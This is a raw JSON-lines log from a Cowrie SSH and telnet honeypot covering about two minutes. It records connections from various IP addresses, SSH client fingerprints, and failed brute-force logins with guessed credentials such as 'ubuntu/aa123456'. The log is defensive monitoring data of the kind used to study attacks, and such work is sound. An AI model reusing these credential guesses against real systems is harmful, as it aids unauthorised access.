{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.174113Z","src_ip":"159.203.92.129","session":"10fc43f8ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amittal","password":"amittal","message":"login attempt [amittal/amittal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.193236Z","src_ip":"159.203.92.129","session":"10fc43f8ef25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72316527366638,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.520012Z","src_ip":"162.253.42.116","session":"11084b944fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56030,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b7323e262c","protocol":"telnet","message":"New connection: 162.253.42.116:56030 (10.17.0.5:23) [session: 92b7323e262c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.635352Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":55972,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb7d15763da","protocol":"telnet","message":"New connection: 208.82.116.131:55972 (159.203.135.109:23) [session: 4eb7d15763da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.990373Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:27.200766Z","src_ip":"159.203.92.129","session":"10fc43f8ef25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79706525802612,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:27.664965Z","src_ip":"162.253.42.116","session":"4664cd412b96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44308519363403,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:29.347480Z","src_ip":"162.253.42.116","session":"ac49e74b9464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":34450,"dst_ip":"159.203.135.109","dst_port":23,"session":"75153befb673","protocol":"telnet","message":"New connection: 80.252.221.197:34450 (159.203.135.109:23) [session: 75153befb673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:41.688423Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":34460,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4052d8f3b6b","protocol":"telnet","message":"New connection: 80.252.221.197:34460 (159.203.135.109:23) [session: c4052d8f3b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:41.989940Z"}
{"eventid":"cowrie.session.closed","duration":35.55311131477356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:43.062620Z","src_ip":"162.253.42.116","session":"3ee02ad09738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"880487389b51","protocol":"telnet","message":"New connection: 162.253.42.116:51052 (10.17.0.5:23) [session: 880487389b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:47.752231Z"}
{"eventid":"cowrie.session.closed","duration":40.201284885406494,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:53.042788Z","src_ip":"162.253.42.116","session":"7fb335886e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25733995437622,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:53.497815Z","src_ip":"162.253.42.116","session":"8b5cb1d96aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26419377326965,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:55.953762Z","src_ip":"162.253.42.116","session":"2116bdb1ba5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36162,"dst_ip":"10.17.0.5","dst_port":23,"session":"4119ab55b876","protocol":"telnet","message":"New connection: 162.253.42.116:36162 (10.17.0.5:23) [session: 4119ab55b876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:58.806981Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58090,"dst_ip":"10.17.0.5","dst_port":22,"session":"faf6c5ba064c","protocol":"ssh","message":"New connection: 102.213.34.99:58090 (10.17.0.5:22) [session: faf6c5ba064c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:59.253890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:59.258260Z","src_ip":"102.213.34.99","session":"faf6c5ba064c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:59.428362Z","src_ip":"102.213.34.99","session":"faf6c5ba064c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"testtest","message":"login attempt [test1/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:00.141400Z","src_ip":"102.213.34.99","session":"faf6c5ba064c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:01.316094Z","src_ip":"102.213.34.99","session":"faf6c5ba064c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.223838567733765,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:02.859042Z","src_ip":"162.253.42.116","session":"92b7323e262c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfda93172ca1","protocol":"telnet","message":"New connection: 162.253.42.116:43032 (10.17.0.5:23) [session: bfda93172ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:04.332907Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38602,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe011b08df0","protocol":"ssh","message":"New connection: 159.203.92.129:38602 (159.203.135.109:22) [session: bfe011b08df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:08.924860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:08.931049Z","src_ip":"159.203.92.129","session":"bfe011b08df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:08.935785Z","src_ip":"159.203.92.129","session":"bfe011b08df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amluser","password":"amluser","message":"login attempt [amluser/amluser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:08.946626Z","src_ip":"159.203.92.129","session":"bfe011b08df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:09.954441Z","src_ip":"159.203.92.129","session":"bfe011b08df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54416,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bcaf97ef7ee","protocol":"telnet","message":"New connection: 162.253.42.116:54416 (10.17.0.5:23) [session: 4bcaf97ef7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:15.333037Z"}
{"eventid":"cowrie.session.closed","duration":35.7103374004364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:17.398656Z","src_ip":"80.252.221.197","session":"75153befb673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58106,"dst_ip":"10.17.0.5","dst_port":23,"session":"917606b6a160","protocol":"telnet","message":"New connection: 162.253.42.116:58106 (10.17.0.5:23) [session: 917606b6a160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:17.554550Z"}
{"eventid":"cowrie.session.closed","duration":37.46251368522644,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:19.452346Z","src_ip":"80.252.221.197","session":"c4052d8f3b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33032,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddd23b0de5d3","protocol":"telnet","message":"New connection: 162.253.42.116:33032 (10.17.0.5:23) [session: ddd23b0de5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:20.731812Z"}
{"eventid":"cowrie.session.closed","duration":34.828017234802246,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:22.580126Z","src_ip":"162.253.42.116","session":"880487389b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40884,"dst_ip":"159.203.135.109","dst_port":23,"session":"0559c4fd3bf3","protocol":"telnet","message":"New connection: 185.26.126.47:40884 (159.203.135.109:23) [session: 0559c4fd3bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:29.729026Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"69801bea9b53","protocol":"telnet","message":"New connection: 162.253.42.116:41756 (10.17.0.5:23) [session: 69801bea9b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:30.103422Z"}
{"eventid":"cowrie.session.closed","duration":34.545788288116455,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:33.352653Z","src_ip":"162.253.42.116","session":"4119ab55b876","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.65148186683655,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:40.984009Z","src_ip":"162.253.42.116","session":"bfda93172ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59028,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa41395a646","protocol":"telnet","message":"New connection: 162.253.42.116:59028 (10.17.0.5:23) [session: 8aa41395a646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:44.473134Z"}
{"eventid":"cowrie.session.closed","duration":33.16364049911499,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:48.496580Z","src_ip":"162.253.42.116","session":"4bcaf97ef7ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46134,"dst_ip":"159.203.135.109","dst_port":22,"session":"89281aa9bc38","protocol":"ssh","message":"New connection: 159.203.92.129:46134 (159.203.135.109:22) [session: 89281aa9bc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:51.110439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:51.114675Z","src_ip":"159.203.92.129","session":"89281aa9bc38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:51.118569Z","src_ip":"159.203.92.129","session":"89281aa9bc38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amolele","password":"amolele","message":"login attempt [amolele/amolele] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:51.127074Z","src_ip":"159.203.92.129","session":"89281aa9bc38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:52.131321Z","src_ip":"159.203.92.129","session":"89281aa9bc38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40462,"dst_ip":"10.17.0.5","dst_port":23,"session":"2313648eecbb","protocol":"telnet","message":"New connection: 162.253.42.116:40462 (10.17.0.5:23) [session: 2313648eecbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:52.312542Z"}
{"eventid":"cowrie.session.closed","duration":35.4834349155426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:53.037859Z","src_ip":"162.253.42.116","session":"917606b6a160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.702600955963135,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:02:55.434206Z","src_ip":"162.253.42.116","session":"ddd23b0de5d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e54eb20a214","protocol":"ssh","message":"New connection: 102.213.34.99:58164 (10.17.0.5:22) [session: 9e54eb20a214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:00.907560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:00.913678Z","src_ip":"102.213.34.99","session":"9e54eb20a214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:01.083929Z","src_ip":"102.213.34.99","session":"9e54eb20a214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aa123456","message":"login attempt [ubuntu/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:01.793035Z","src_ip":"102.213.34.99","session":"9e54eb20a214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:02.965329Z","src_ip":"102.213.34.99","session":"9e54eb20a214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.064082622528076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:04.167361Z","src_ip":"162.253.42.116","session":"69801bea9b53","protocol":"telnet"}
